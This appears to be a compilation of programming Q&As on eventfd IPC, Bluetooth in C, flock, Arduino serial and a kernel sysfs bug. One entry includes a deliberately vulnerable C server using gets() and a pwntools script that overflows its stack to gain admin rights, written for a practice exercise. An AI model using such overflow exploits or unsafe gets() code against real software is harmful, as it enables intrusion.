I am using os.eventfd (new in Python 3.10) for IPC between a C process and a Python process. The Python process is run by fork-execv from C.
The eventfd and epoll are set up in C, and the eventfd file descriptor is passed to Python.
According to the Linux docs: "If EFD_SEMAPHORE was not specified and the eventfd counter has a nonzero value, then a read(2) returns 8 bytes containing that value, and the counter's value is reset to zero." So I would expect that a read would occur once, then not again, or subsequent reads should return 0 after the first read. But that's not what happens, it keeps returning the same value over and over again.
The C program sets up the eventfd and epoll:
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/eventfd.h>
#include <sys/epoll.h>
int eventfd_initialize()
{
int efd = eventfd(0,0);
return efd;
}
int epoll_initialize(int efd, int64_t * output_array)
{
struct epoll_event ev;
int epoll_fd = epoll_create1(0);
if(epoll_fd == -1)
{
fprintf(stderr, "Failed to create epoll file descriptor\n");
return 1;
}
ev.events = EPOLLIN; //May also need to be or'ed with EPOLLOUT
ev.data.fd = efd; //was 0
if(epoll_ctl(epoll_fd, EPOLL_CTL_ADD, efd, &ev) == -1)
{
fprintf(stderr, "Failed to add file descriptor to epoll\n");
close(epoll_fd);
return 1;
}
output_array[0] = epoll_fd;
output_array[1] = (int64_t)&ev;
return 0;
}
ssize_t epoll_write(int epoll_fd, struct epoll_event * event_struc, int action_code)
{
char ewbuf[8];
sprintf(ewbuf, "%d", action_code);
int maxevents = 1;
int timeout = -1;
write(epoll_fd, &ewbuf, 8);
epoll_wait(epoll_fd, event_struc, maxevents, timeout);
return 0;
}
The C program writes to the eventfd before the Python script is initialized, then the Python script is called with fork-exec. The Python script is a simple while True loop:
#!/usr/bin/python3
import sys
import os
from multiprocessing import shared_memory
event_fd = int(sys.argv[3])
os.set_blocking(event_fd, False)
existing_shm = shared_memory.SharedMemory(name='shm_object_0_0',create=False)
while True:
print("Waiting in Python for event")
v = os.eventfd_read(event_fd)
print("found")
print(v)
if v != 99:
print("release semaphore")
os.eventfd_write(event_fd, v)
if v == 99:
print("finally")
os.close(event_fd)
So I would expect it to read once, then all subsequent reads would return zero before the C side has written more to the eventfd. But I get this continuous display:
Waiting in Python for event
found
13361
release semaphore
Waiting in Python for event
found
13361
release semaphore
Waiting in Python for event
found
13361
release semaphore
Waiting in Python for event
found
13361
release semaphore
With each new read it returns the same number, not 0. The docs say a read from the eventfd will set it back to zero. Adding time.sleep(1) to Python doesn't change the behavior.
Also, I don't see any way to call epoll_wait in the Python os docs.
Related
I want to convert a python code used to connect bluetooth device to Raspberry pi to C code. Is it possible?? Is there a way to connect a bluetooth device to raspberry pi using c programming.
The code is given below:
import pygatt
from binascii import hexlify
import time
adapter = pygatt.GATTToolBackend()
def handle_data(handle, value):
"""
handle -- integer, characteristic read handle the data was received on
value -- bytearray, the data returned in the notification
"""
print("Received data: %s" % hexlify(value))
try:
adapter.start()
device = adapter.connect('AC:23:3F:AA:36:7C')
device.subscribe("7f280002-8204-f393-e0a9-e50e24dcca9e",
callback=handle_data)
# The subscription runs on a background thread. You must stop this main
# thread from exiting, otherwise you will not receive any messages, and
# the program will exit. Sleeping in a while loop like this is a simple
# solution that won't eat up unnecessary CPU, but there are many other
# ways to handle this in more complicated program. Multi-threaded
# programming is outside the scope of this README.
while True:
time.sleep(10)
finally:
adapter.stop()
Two choices that I know of: https://github.com/petzval/btferret and
https://github.com/weliem/bluez_inc. This is equivalent btferret code.
/********* DEVICES.TXT file ************
DEVICE = My Pi TYPE=mesh node=1 ADDRESS = B8:27:EB:F1:50:C3
DEVICE = LE device TYPE=LE NODE=7 ADDRESS = AC:23:3F:AA:36:7C
*******************************************/
/******** C file *****************/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "btlib.h"
int callback(int clientnode,int cticn,unsigned char *dat,int len);
int main()
{
int cticn;
if(init_blue("devices.txt") == 0)
return(0);
// connect to LE device, node 7
connect_node(7,CHANNEL_LE,0);
find_ctics(7);
cticn = find_ctic_index(7,UUID_16,strtohex("7f280002-8204-f393-e0a9-e50e24dcca9e",NULL));
notify_ctic(7,cticn,NOTIFY_ENABLE,callback);
read_notify(10000); // read for 10s
close_all();
return(0);
}
int callback(int clientnode,int cticn,unsigned char *dat,int len)
{
int n;
printf("Notify =");
for(n = 0 ; n < len ; ++n)
printf(" %02X",dat[n]);
printf("\n");
return(SERVER_CONTINUE);
}
Bottom line up front, my problem:
Rather, I would expect gdb to be stopped at a SIGINT instead of what is happening. I believe the SIGINT is triggered or at least gets has been called, because I don't seem to get this error until I reach that part of the code.
I've looked around for solutions, and already have tried:
sudo apt-get update --fix-missing
sudo apt-get source libc6
sudo apt-get install gdb-server
I am running on WSL / Kali
NAME="Kali GNU/Linux"
ID=kali
VERSION="2021.3"
VERSION_ID="2021.3"
VERSION_CODENAME="kali-rolling"
I'm roughly following a tutorial (although with a different target ELF) on exploiting a buffer overflow where source code is using gets.
I'm not asking for help with the exploitation, but rather with solving a problem automating Gdb through Pwntools.
The Rapid7 tutorial I'm following explains to use info frame, like:
(gdb) info frame
Stack level 0, frame at 0x7fffffffdde0:
rip = 0x7ffff7a42428 in __GI_raise (../sysdeps/unix/sysv/linux/raise.c:54); saved rip = 0x400701
called by frame at 0x7fffffffde30
source language c.
Arglist at 0x7fffffffddd0, args: sig=2
Locals at 0x7fffffffddd0, Previous frame's sp is 0x7fffffffdde0
Saved registers:
rip at 0x7fffffffddd8
and then use the value of locals (0x7fffffffddd0 in the tutorial's case) with x/200x like:
x/200x 0x7fffffffddd0
...to inspect the relevant buffers.
The source for the program I'm exploiting is as follows. I add in raise(SIGINT); after the gets call to stop and inspect the stack. The python I wrote already exploits to reach that SIGINT.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <signal.h>
//gcc vuln.c -fno-stack-protector -no-pie -z execstack -o vuln
__attribute__((constructor)) void ignore_me(){
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
}
#define MAX_USERS 5
struct user {
char username[16];
char password[16];
};
void server() {
int choice;
char buf[0x10];
struct user User[MAX_USERS];
int num_users = 0;
int is_admin = 0;
char server_name[0x20] = "my_cool_server!";
while(1) {
puts("+=========:[ Menu ]:========+");
puts("| [1] Create Account |");
puts("| [2] View User List |");
puts("| [3] Change Server Name |");
puts("| [4] Log out |");
puts("+===========================+");
printf("\n > ");
if (fgets(buf, sizeof(buf), stdin) == NULL) {
exit(-1);
}
printf("is_admin: %d\n", is_admin);
printf("num_users: %d\n", num_users);
printf("buf size: %d\n", sizeof(buf));
choice = atoi(buf);
switch(choice) {
case 1:
if (num_users > 5)
puts("The server is at its user limit.");
else {
printf("Enter the username:\n > ");
fgets(User[num_users].username,15,stdin);
printf("Enter the password:\n > ");
fgets(User[num_users].password,15,stdin);
puts("User successfully created!\n");
num_users++;
}
break;
case 2:
if (num_users == 0)
puts("There are no users on this server yet.\n");
else {
for (int i = 0; i < num_users; i++) {
printf("%d: %s",i+1, User[i].username);
}
}
break;
case 3:
if (!is_admin) {
puts("You do not have administrative rights. Please refrain from such actions.\n");
break;
}
else {
printf("The server name is stored at %p\n",server_name);
printf("Enter new server name.\n > ");
gets(server_name);
raise(SIGINT);
break;
}
case 4:
puts("Goodbye!");
return;
}
}
}
void main() {
puts("Welcome to this awesome server!");
puts("I hired a professional to make sure its security is top notch.");
puts("Have fun!\n");
server();
}
My python (note that the gdb.execute() commands are what I'm trying to automate):
import os
os.system('clear')
def print_stdout(p):
out_list = p.read().decode("utf-8").split('\n')
#for out in out_list:
#print(out)
from pwn import *
#context.log_level = 'error'
p = gdb.debug("./vuln", api=True)
p.gdb.execute('continue')
print_stdout(p)
# enter Create Account menu 4 times (overflows do not occur until the 4th iteration)
for i in range(0,4):
# The first 14+ bytes don't seem to matter
free_padding = b'f' * 14
# The second 14 bytes seem to require 0's
# I wonder if this 14 + 1 number has something to do with the 15 bytes being read by username
num_padding = b'0' * 14
payload = free_padding + num_padding + b'1'
#print(f"Payload: {payload}")
# send buffer which will be interpreted as 1 by the menu selection logic
p.sendline(payload)
print_stdout(p)
# At 29 non-zero bytes an overflow into is_admin appears.
payload2 = b'1' * 29
p.sendline(payload2)
print_stdout(p)
# The password may have potential to be involved in the overflow, but isn't necessary.
payload3 = b'password'
p.sendline(payload3)
print_stdout(p)
#print('----------------')
# Since is_admin is no longer zero, we can enter the Change Server Name interface.
#gdb.attach(p)
p.sendline(b'3')
print_stdout(p)
p.sendline(cyclic(100, n=8))
# here we should get a breakpoint and use:
# p.gdb.execute('info frame')
# then parse the locals address, assign it to locals_addr and use:
# p.gdb.execute(f"x/200x {locals_addr}")
The error, as I stated in the comments, triggered when I try this (and it doesnt seem to trigger until the SIGINT is reached, hence my inclusion of all the code) is:
(gdb) Reading /lib/x86_64-linux-gnu/libc.so.6 from remote target... Remote connection closed
I have a requirement, where two separate processes/programs running in parallel (One written in Python and one written in C++) need to get exclusive access, modifying a hardware related value.
I'm trying to attain synchronization between them using flock.
The code for the same is as below,
Python Code
#!/usr/bin/python
import fcntl
import time
import datetime
import os
SLICE_SLEEP = 5
LOCK_HOLD_TIME = 20
TOTAL_WAIT_TIME = 300
class LockUtil(object):
FILE_PATH = "/tmp/sync.lock"
fd = -1
#staticmethod
def acquireLock(totalWaitTime=TOTAL_WAIT_TIME):
try:
LockUtil.fd = os.open(LockUtil.FILE_PATH,os.O_WRONLY|os.O_CREAT)
print('Trying to acquire lock')
retryTimes = (totalWaitTime/SLICE_SLEEP)
currentCounter = 0
while currentCounter < retryTimes:
try:
fcntl.flock(LockUtil.fd,fcntl.LOCK_EX|fcntl.LOCK_NB)
print('Lock acquired successfully')
return
except IOError:
print('Failed to acquire the lock, sleeping for {} secs'.format(SLICE_SLEEP))
time.sleep(SLICE_SLEEP)
currentCounter += 1
print('Tried {} times, now returning'.format(retryTimes))
except IOError:
print('Can not access file at path: {}'.format(FILE_PATH))
#staticmethod
def releaseLock():
fcntl.flock(LockUtil.fd,fcntl.LOCK_UN)
print('Lock released successfully')
class LockHelper(object):
def __init__(self):
LockUtil.acquireLock()
def __del__(self):
LockUtil.releaseLock()
def createObjAndSleep():
lock = LockHelper()
time.sleep(LOCK_HOLD_TIME)
def main():
while True:
createObjAndSleep()
if __name__ == '__main__':
main()
C++ Code
#include <iostream>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/file.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <ctime>
#include <memory>
int SLICE_SLEEP = 6;
int LOCK_HOLD_TIME = 20;
int TOTAL_WAIT_TIME = 300;
int SUCCESS = 0;
class LockUtil {
public:
static std::string path;
static int fd;
static int acquireLock(int totalWaitTime=TOTAL_WAIT_TIME);
static int releaseLock();
};
std::string LockUtil::path = "/tmp/sync.lock";
int LockUtil::fd = -1;
int LockUtil::acquireLock(int totalWaitTime) {
fd = open(path.c_str(), O_WRONLY|O_CREAT, 0666);
if(fd != -1)
{
auto retryTimes = (totalWaitTime/SLICE_SLEEP);
auto currentCounter = 0;
while(currentCounter < retryTimes)
{
std::cout << "Trying to acquire lock" << std::endl;
auto lockStatus = flock(fd,LOCK_EX|LOCK_NB);
if(lockStatus == SUCCESS)
{
std::cout << "Lock acquired successfully" << std::endl;
return 0;
} else {
std::cout << "Failed to acquire the lock, sleeping for " << SLICE_SLEEP << " secs" << std::endl;
sleep(SLICE_SLEEP);
currentCounter += 1;
}
}
} else {
std::cout << "Unable to open the file!" << std::endl;
std::cout << strerror(errno) << std::endl;
return -1;
}
}
int LockUtil::releaseLock() {
if(fd != -1)
{
flock(fd,LOCK_UN);
std::cout << "Lock released successfully" << std::endl;
return 0;
} else {
return -1;
}
}
class LockHelper {
public:
LockHelper() {
LockUtil::acquireLock();
}
~LockHelper() {
LockUtil::releaseLock();
}
};
void createObjAndSleep()
{
std::unique_ptr<LockHelper> lockObj(new LockHelper());
sleep(LOCK_HOLD_TIME);
}
int main(void) {
while (true) {
createObjAndSleep();
}
}
But, when I run these two programs in parallel, it is observed that the process which first got the lock on the file, keeps getting it always and the other process starves.
But, if I change the flags in both the programs to just use LOCK_EX and remove LOCK_NB, the lock is shared between the processes in round-robin fashion.
I would like to understand what is the bug in the program when using LOCK_NB flag.
OS
uname -a
Linux 0000000000002203 4.4.43-hypriotos-v7+ #1 SMP PREEMPT Thu Jan 19 20:54:06 UTC 2017 armv7l GNU/Linux
Python Version - 2.7
C++ Version - C++11
I do not think it is a bug per-se, but likely an unintended consequence. When you use a blocking flock, you process is put into internal Linux kernel queue, which is expected to wake up the process once the lock has been released.
While Linux flock has no guarantee of fair scheduling, it looks like the sequence of events distribute the locking in more or less fair schedule.
On the other hands, with non-blocking lock, your processes keep trying to lock it. As a result, there is no lock queue, instead, there are processes which are constantly competing for the lock in real-time. In order to achieve this lock, a process needs to be on-cpu when the lock becomes available, and it seems like scheduler just doesn't give a process a chance to be there at this time.
The scheduling policy is extremely complicated, so I would not speculate is to what exactly causes this scheduler behavior.
Last but not least, what is your ultimate goal when it comes to non-blocking locks? Why do you want them?
I am trying to send an int number from Python to an Arduino using PySerial, using .write([data]) to send with Python and Serial.read() or Serial.readString() to recieve on the Arduino, then .setPixelColor() and .show() to light a LED on a matrix which position corresponds to the int sent by the arduino (I am using the Duinofun Neopixel Shield).
But It does not seem to work properly, and I can't use the Serial Monitor as I am sending my data as the port would be busy.
I have tried to input a number myself using Serial.readString() then converting the string to an int and finally putting in into my function that displays the LED.
It does work properly when I do this, but when I send some data over, all the previously lit LEDs suddenly switch off which can only be caused by a reset of the Arduino board as far as I know.
This is the python code, it simply sends an int chosen by the user
import serial
a = int(input('Enter pixel position : '))
ser = serial.Serial("COM16", 9600)
ser.write([a])
And this is the part of the Arduino program that reads the incoming data.
Adafruit_NeoPixel pixels = Adafruit_NeoPixel(40, 6, NEO_GRB + NEO_KHZ800);
void setup() {
// put your setup code here, to run once:
pixels.begin();
Serial.begin(9600);
}
void loop() {
String a = Serial.readString();
int b = a.toInt();
pixels.setPixelColor(b, 30,30,30);
pixels.show();
Serial.println(a);
delay(1000);
}
All the LED switch off when I send some data, except the first LED which position corresponds to a 0 used in the .setPixelColor() function.
Problem is, the LED should light to the corresponding int sent by Python (e.g light the fifth LED for an int of 4).
You don't need to send an int from your Python script. Just send a string and then convert it back to int on your Arduino. Also, you can verify the number simply on your Arduino code if the received value is valid.
Another problem with your Arduino code is you are not checking the Serial port availability which would return an empty string by Serial.readString().
A simple approach is shown below but you can extend it for other pixels.
Python script:
import serial
ser = serial.Serial("COM16", 9600)
while True:
input_value = input('Enter pixel position: ')
ser.write(input_value.encode())
Arduino code:
#define MIN_PIXEL_RANGE 0
#define MAX_PIXEL_RANGE 100
Adafruit_NeoPixel pixels = Adafruit_NeoPixel(40, 6, NEO_GRB + NEO_KHZ800);
void setup()
{
// put your setup code here, to run once:
pixels.begin();
Serial.begin(9600);
}
void loop()
{
if (Serial.available())
{
String a = Serial.readString();
Serial.print("Received Value: ");
Serial.println(a);
int b = a.toInt();
if ((b >= MIN_PIXEL_RANGE) && (b <= MAX_PIXEL_RANGE))
{
pixels.setPixelColor(b, 30, 30, 30);
pixels.show();
delay(1000);
}
}
}
You can communicate between Ardinos and Python really easily and reliably if you use the pip-installable package pySerialTransfer. The package is non-blocking, easy to use, supports variable length packets, automatically parses packets, and uses CRC-8 for packet corruption detection.
Here's an example Python script:
from pySerialTransfer import pySerialTransfer as txfer
if __name__ == '__main__':
try:
link = txfer.SerialTransfer('COM13')
link.txBuff[0] = 'h'
link.txBuff[1] = 'i'
link.txBuff[2] = '\n'
link.send(3)
while not link.available():
if link.status < 0:
print('ERROR: {}'.format(link.status))
print('Response received:')
response = ''
for index in range(link.bytesRead):
response += chr(link.rxBuff[index])
print(response)
link.close()
except KeyboardInterrupt:
link.close()
Note that the Arduino will need to use the library SerialTransfer.h. You can install SerialTransfer.h using the Arduino IDE's Libraries Manager.
Here's an example Arduino sketch:
#include "SerialTransfer.h"
SerialTransfer myTransfer;
void setup()
{
Serial.begin(115200);
Serial1.begin(115200);
myTransfer.begin(Serial1);
}
void loop()
{
myTransfer.txBuff[0] = 'h';
myTransfer.txBuff[1] = 'i';
myTransfer.txBuff[2] = '\n';
myTransfer.sendData(3);
delay(100);
if(myTransfer.available())
{
Serial.println("New Data");
for(byte i = 0; i < myTransfer.bytesRead; i++)
Serial.write(myTransfer.rxBuff[i]);
Serial.println();
}
else if(myTransfer.status < 0)
{
Serial.print("ERROR: ");
Serial.println(myTransfer.status);
}
}
Lastly, note that you can transmit ints, floats, chars, etc. using the combination of these libraries!
I have a program in userspace that writes to a sysfs file in my kernel module.
I have isolated that with high probability the source of the crash is this specific function, as when I run the user code before reaching this point it doesn't crash, but when I add the write code it crashes with high probability.
I suspect the way I parse the string causes a memory error but I don't understand why.
I am working on kernel version 3.2 and python 2.7
By crash I mean the whole system freezes up and I have to either restart it or restore the VM to a previous snapshot.
user write code(python):
portFile = open(realDstPath, "w")
portFile.write(str(ipToint(srcIP)) + "|" + str(srcPort) + "|")
portFile.close()
kernel code:
ssize_t requestDstAddr( struct device *dev,
struct device_attribute *attr,
const char *buff,
size_t count)
{
char *token;
char *localBuff = kmalloc(sizeof(char) * count, GFP_ATOMIC);
long int temp;
if(localBuff == NULL)
{
printk(KERN_ERR "ERROR: kmalloc failed\n");
return -1;
}
memcpy(localBuff, buff, count);
spin_lock(&conntabLock);
//parse values passed from proxy
token = strsep(&localBuff, "|");
kstrtol(token, 10, &temp);
requestedSrcIP = htonl(temp);
token = strsep(&localBuff, "|");
kstrtol(token, 10, &temp);
requestedSrcPort = htons(temp);
spin_unlock(&conntabLock);
kfree(localBuff);
return count;
}
Look closely at strsep. From man strsep:
char *strsep(char **stringp, const char *delim);
... and *stringp is updated to point past the token. ...
In your code you do:
char *localBuff = kmalloc(sizeof(char) * count, GFP_ATOMIC)
...
token = strsep(&localBuff, "|");
...
kfree(localBuff);
The localBuff variable is updated after the strsep call. So the call to kfree is not with the same pointer. That allows for very strange behaviors. Use a temporary pointer to save the state of strsep function. And check it's return value.